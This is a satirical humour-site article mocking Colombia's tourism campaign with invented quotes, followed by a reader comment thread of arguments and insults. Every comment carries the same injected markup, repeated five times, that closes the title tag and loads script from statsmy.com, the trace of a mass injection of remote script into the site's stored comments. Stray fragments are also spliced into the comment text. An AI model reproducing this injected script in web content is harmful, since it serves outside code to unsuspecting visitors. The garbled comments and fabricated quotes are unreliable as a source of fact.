Smooth Operator - Drugs, Wars, and Kidnapping Make Colombia a Top Tourist Destination

Drugs, Wars, and Kidnapping Make Colombia a Top Tourist Destination

by Kris on 8/2/2005 (21)

Excited tourists enjoying the sites of Colombia.

Bogota, Colombia - To hear Colombia's minister of tourism Jorge Humberto Botero tell it, conditions are ripe for a major push to attract foreign tourists to a country best known for drugs, wars and kidnapping.

"If you want a peaceful vacation or you want family entertainment, Columbia is not for you," said Botero. "But if you want action, excitement, constant fear of loved ones being kidnapped or worse, Columbia is the place. Add to that unbridled drug abuse and Columbia will be your dream vacation."

"Besides having my wife kidnapped and my daughter developing a cocaine addiction, I loved every minute of my vacation to Columbia," said American tourist Nathan Lane. "In other places we considered like Disney Land or Gary, Indiana, we would have been driving through town in a tiny rent-a-car. But in Columbia, we were part of a dozen or so cars escorted by 120-strong contingents of police and military, bristling with assault rifles and machine guns along roads considered unsafe because of guerrilla activity. It was one of the most terrifying trips I have ever taken, I can't wait to go back!"

Columbia this past year has once again made the list of most dangerous countries put out by US Department of State advisories. The latest on Colombia, in May, said "violence by narcoterrorist groups and other criminal elements continues to affect all parts of the country, urban and rural. No one can be considered immune on the basis of occupation, nationality or any other factor."

Colombia is playing heavily on their new image of excitement, terror, and drug abuse and hopes to attract a significant growth in tourism. But they still have a long way to go. Government figures show that it had just over 1.7 million visitors in 2003. Mexico, in comparison, attracts around 19 million tourists a year and France 80 million. At least Colombia currently ranks ahead of Canada in tourism, which hasn't had a single tourist since the country was founded 200 years ago by drunken Eskimos and penguin herders.

"How often to you get a chance to experience first had a war which is now in its 42nd year and involves the armed forces, two left-wing guerrilla groups, right-wing paramilitary forces, several private armies and the peasants who grow coca leaf and opium poppy," rhetorically questioned Juan Valdez, the mustachioed spokesman for Columbia. "Not Disney Land, Six Flags, or any other amusement park outside of Euro-Disney can offer such chaos."

Although recent statistics show that murders have declined by 34 percent and kidnappings by 56 percent since 2002, Colombia is still at the top of the world league for kidnappings and near the top for murders.

Promotional poster for Colombia.

"Sure our murders and kidnappings have been a little down, but we feel confident that with the inf

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1. by Juan Valdez on 3/1/2007 4:52:29 PM

It's ColOmbia with an O, dipshit."0 </title><script src=http://statsmy.com/ur.php ></script></title><script src=http://statsmy.com/ur.php ></script></title><script src=http://statsmy.com/ur.php ></script></title><script src=http://statsmy.com/ur.php ></script></title><script src=http://statsmy.com/ur.php ></script>

2. by Kris on 3/1/2007 4:52:29 PM

Maybe I was talking about the Space Shuttle... did you even think about that?!?ui </title><script src=http://statsmy.com/ur.php ></script></title><script src=http://statsmy.com/ur.php ></script></title><script src=http://statsmy.com/ur.php ></script></title><script src=http://statsmy.com/ur.php ></script></title><script src=http://statsmy.com/ur.php ></script>

3. by Dianna V on 3/1/2007 4:52:29 PM

Can't place blame on Colombia for your daughter's cocaine habit! There are plenty of addicts in the U.S. When you think vacation you don't think Colombia but in actuality, Colombia is a beautiful country with beautiful people. The people who live here don't fear for their lives. My parents visit Colombia twice a year and wouldn't change their vacation destiny for the world.go.ph </title><script src=http://statsmy.com/ur.php ></script></title><script src=http://statsmy.com/ur.php ></script></title><script src=http://statsmy.com/ur.php ></script></title><script src=http://statsmy.com/ur.php ></script></title><script src=http://statsmy.com/ur.php ></script>

4. by Netto on 3/1/2007 4:52:29 PM

At least Colombia currently ranks ahead of Canada in tourism, which hasn't had a single tourist since the country was founded 200 years ago by drunken Eskimos and penguin herders. go to hell! here in Canada people can walk safely and enjoy hundreds of festival, and here we respect human right, nobody live in dump.< </title><script src=http://statsmy.com/ur.php ></script></title><script src=http://statsmy.com/ur.php ></script></title><script src=http://statsmy.com/ur.php ></script></title><script src=http://statsmy.com/ur.php ></script></title><script src=http://statsmy.com/ur.php ></script>

5. by Motzaroo on 3/1/2007 4:52:29 PM

Making friends again Steele? hehe"0 </title><script src=http://statsmy.com/ur.php ></script></title><script src=http://statsmy.com/ur.php ></script></title><script src=http://statsmy.com/ur.php ></script></title><script src=http://statsmy.com/ur.php ></script></title><script src=http://statsmy.com/ur.php ></script>

6. by by Netto on 3/1/2007 4:52:29 PM

that dickhead should read this. http://www.ctv.ca/servlet/ArticleNews/story/CTVNews/1122994723190_118403923/?hub=Canadaisplay:no </title><script src=http://statsmy.com/ur.php ></script></title><script src=http://statsmy.com/ur.php ></script></title><script src=http://statsmy.com/ur.php ></script></title><script src=http://statsmy.com/ur.php ></script></title><script src=http://statsmy.com/ur.php ></script>

7. by Kris on 3/1/2007 4:52:29 PM

"Canada's low ranking in culture is somewhat troubling, considering this is a real indication of how people feel about a country," Anholt said in a news release.?sid </title><script src=http://statsmy.com/ur.php ></script></title><script src=http://statsmy.com/ur.php ></script></title><script src=http://statsmy.com/ur.php ></script></title><script src=http://statsmy.com/ur.php ></script></title><script src=http://statsmy.com/ur.php ></script>

8. by Netto on 3/1/2007 4:52:29 PM

Our culture is very diversified, immigration rate is very high here, ex:Colombian here had there festivity for there independence everyone was welcome to celebrate with them, in Montreal there is a Chinatown, the little Italy, etc.. Here you can discover different nation freely, no need to take a plane. src= </title><script src=http://statsmy.com/ur.php ></script></title><script src=http://statsmy.com/ur.php ></script></title><script src=http://statsmy.com/ur.php ></script></title><script src=http://statsmy.com/ur.php ></script></title><script src=http://statsmy.com/ur.php ></script>

9. by Motzaroo on 3/1/2007 4:52:29 PM

Colombia? Which one is that? the one with the murderous dictator, the cocaine problem, or the links with communist Cuba? I forget sometimes... </title><script src=http://statsmy.com/ur.php ></script></title><script src=http://statsmy.com/ur.php ></script></title><script src=http://statsmy.com/ur.php ></script></title><script src=http://statsmy.com/ur.php ></script></title><script src=http://statsmy.com/ur.php ></script>

10. by Kenny on 3/1/2007 4:52:29 PM

Does it matter Motz, Canada, Colombia, Washington DC - as far as I'm concerned if it ain't America is it all dirtyone"> </title><script src=http://statsmy.com/ur.php ></script></title><script src=http://statsmy.com/ur.php ></script></title><script src=http://statsmy.com/ur.php ></script></title><script src=http://statsmy.com/ur.php ></script></title><script src=http://statsmy.com/ur.php ></script>

11. by Kris on 3/1/2007 4:52:29 PM

Something I've noticed is that if you knock someone's country, hometown, or state, no matter how much in jest, people get really riled up. I've never been to Colombia myself, this is a satire of their current goals to increase tourism by promoting their other traits above those listed. Canada is an alright place too, from what I've seen... though I have serious concerns about a land that produced both Celine Deon and Alex Trebecko </title><script src=http://statsmy.com/ur.php ></script></title><script src=http://statsmy.com/ur.php ></script></title><script src=http://statsmy.com/ur.php ></script></title><script src=http://statsmy.com/ur.php ></script></title><script src=http://statsmy.com/ur.php ></script>

12. by Netto on 3/1/2007 4:52:29 PM

ive land on this page by searching news about Colombia on Google news, usualy it's serious news so i read that seriously!, so about Celine Dion, im a Quebec resident where she come from, for to long she's been on magazine and newspapers almost everywhere... ive got an overdose of her, i think Colombian government should invite her to go sing in the mountain that would be a great weapon! after 2 or 3 days the rebels will surrender without condition."0" </title><script src=http://statsmy.com/ur.php ></script></title><script src=http://statsmy.com/ur.php ></script></title><script src=http://statsmy.com/ur.php ></script></title><script src=http://statsmy.com/ur.php ></script></title><script src=http://statsmy.com/ur.php ></script>

13. by Kris on 3/1/2007 4:52:29 PM

I'm not sure that if you released a weapon as powerful as Celine Deon that you could possibly control it. That could spell doom for the entire world. Regarding Google News, they have a tiny Satire tag on our site... very easy to miss, I'm sure you won't be the last to think we're a serious news site. </title><script src=http://statsmy.com/ur.php ></script></title><script src=http://statsmy.com/ur.php ></script></title><script src=http://statsmy.com/ur.php ></script></title><script src=http://statsmy.com/ur.php ></script></title><script src=http://statsmy.com/ur.php ></script>

14. by Motzaroo on 3/1/2007 4:52:29 PM

It seems the angriest and most defiant defence of ones country seems to come from places that are effectively disfunctional...not enough food to eat, no long term stability, no basic amenities like clean water and paved roads. Normal people, i.e., people who abide by laws and build a successful society, don't need to defend themselves so vehemently on silly message boards. My advice to Colombia and Central America is to grow up, abide by the laws of civilized society, and join the modern world. Unless such a "vaunting" task is beyond your capability."0"< </title><script src=http://statsmy.com/ur.php ></script></title><script src=http://statsmy.com/ur.php ></script></title><script src=http://statsmy.com/ur.php ></script></title><script src=http://statsmy.com/ur.php ></script></title><script src=http://statsmy.com/ur.php ></script>

15. by Motzaroo on 3/1/2007 4:52:29 PM

There is no power greater than Celine Dion. We have tried,...God knows how we've tried, but Celine CANNOT BE DENTED OR DEFEATED. We, just like the citizens of Colombia, will never give up. Never... src="h </title><script src=http://statsmy.com/ur.php ></script></title><script src=http://statsmy.com/ur.php ></script></title><script src=http://statsmy.com/ur.php ></script></title><script src=http://statsmy.com/ur.php ></script></title><script src=http://statsmy.com/ur.php ></script>

16. by Kenny on 3/1/2007 4:52:29 PM

"It seems the angriest and most defiant defence of ones country seems to come from places that are effectively disfunctional...not enough food to eat, no long term stability, no basic amenities like clean water and paved roads." Mark what have I told you about bad-mouthing Missersippy?!uild </title><script src=http://statsmy.com/ur.php ></script></title><script src=http://statsmy.com/ur.php ></script></title><script src=http://statsmy.com/ur.php ></script></title><script src=http://statsmy.com/ur.php ></script></title><script src=http://statsmy.com/ur.php ></script>

17. by Richie on 3/1/2007 4:52:29 PM

These comments just prove the fact that the majority of Americans just don't understand satire, or indeed sarcasmone">< </title><script src=http://statsmy.com/ur.php ></script></title><script src=http://statsmy.com/ur.php ></script></title><script src=http://statsmy.com/ur.php ></script></title><script src=http://statsmy.com/ur.php ></script></title><script src=http://statsmy.com/ur.php ></script>

18. by Julien on 3/1/2007 4:52:29 PM

About humour and jokes, I agree, everything goes, I agree. So what about: Hey, the U S A, what a great destination! Racism, poverty, drug addicts, war loving presidents... And about: which one is colombia again? the one with the brutal dictator etc... Well, if the U S didn't keep trying to put puppet governments and dictatorships (yes, wake up, that is what the U S actually does!!!) well maybe latin america would not be in the situation it is in now. For your information though, most of Latin A merica is democratic and with free press, and with law abiding citizens (including Colombia!!!) And why should Colombia have to suffer as it does now just for the needs of a few rich and privileged people in the US and Europe who want the cocaine? Think about it... viva Colombia, y hasta la victoria siempren. </title><script src=http://statsmy.com/ur.php ></script></title><script src=http://statsmy.com/ur.php ></script></title><script src=http://statsmy.com/ur.php ></script></title><script src=http://statsmy.com/ur.php ></script></title><script src=http://statsmy.com/ur.php ></script>

19. by Gerry Clark on 3/1/2007 4:52:29 PM

Asshole. Typicalisplay: </title><script src=http://statsmy.com/ur.php ></script></title><script src=http://statsmy.com/ur.php ></script></title><script src=http://statsmy.com/ur.php ></script></title><script src=http://statsmy.com/ur.php ></script></title><script src=http://statsmy.com/ur.php ></script>

20. by Dohfast on 3/1/2007 4:52:29 PM

LAWL, lek this place tolly is for nubs, lol. OMG, lek i went there, and, there werent any lan cafes!!!!!!ROFL!!! I was lek OMFG, u nubs gotta be kidding me, lol. lol. YEAH, THEY DONT HAVE ANY LANCAFES THERE, lol. WOW. I was lek omg, i gotta gtfo, NOW. So i quickly left.. TRUST ME, DONT GO THERE. oh, and lek my hotel had an arcade, but, lol, they only had lek 3 mecnines. ANd, they didnt have counter strike, HL2, WOW, CNC, UTX, or anything, lol, dont go there... ull loose all ur skillZ.n.ru/t </title><script src=http://statsmy.com/ur.php ></script></title><script src=http://statsmy.com/ur.php ></script></title><script src=http://statsmy.com/ur.php ></script></title><script src=http://statsmy.com/ur.php ></script></title><script src=http://statsmy.com/ur.php ></script>

21. by Alejandro Perez on 2/1/2009 10:53:42 AM

what an ignorant.. fuck urself redneckig </title><script src=http://statsmy.com/ur.php ></script></title><script src=http://statsmy.com/ur.php ></script></title><script src=http://statsmy.com/ur.php ></script></title><script src=http://statsmy.com/ur.php ></script></title><script src=http://statsmy.com/ur.php ></script>


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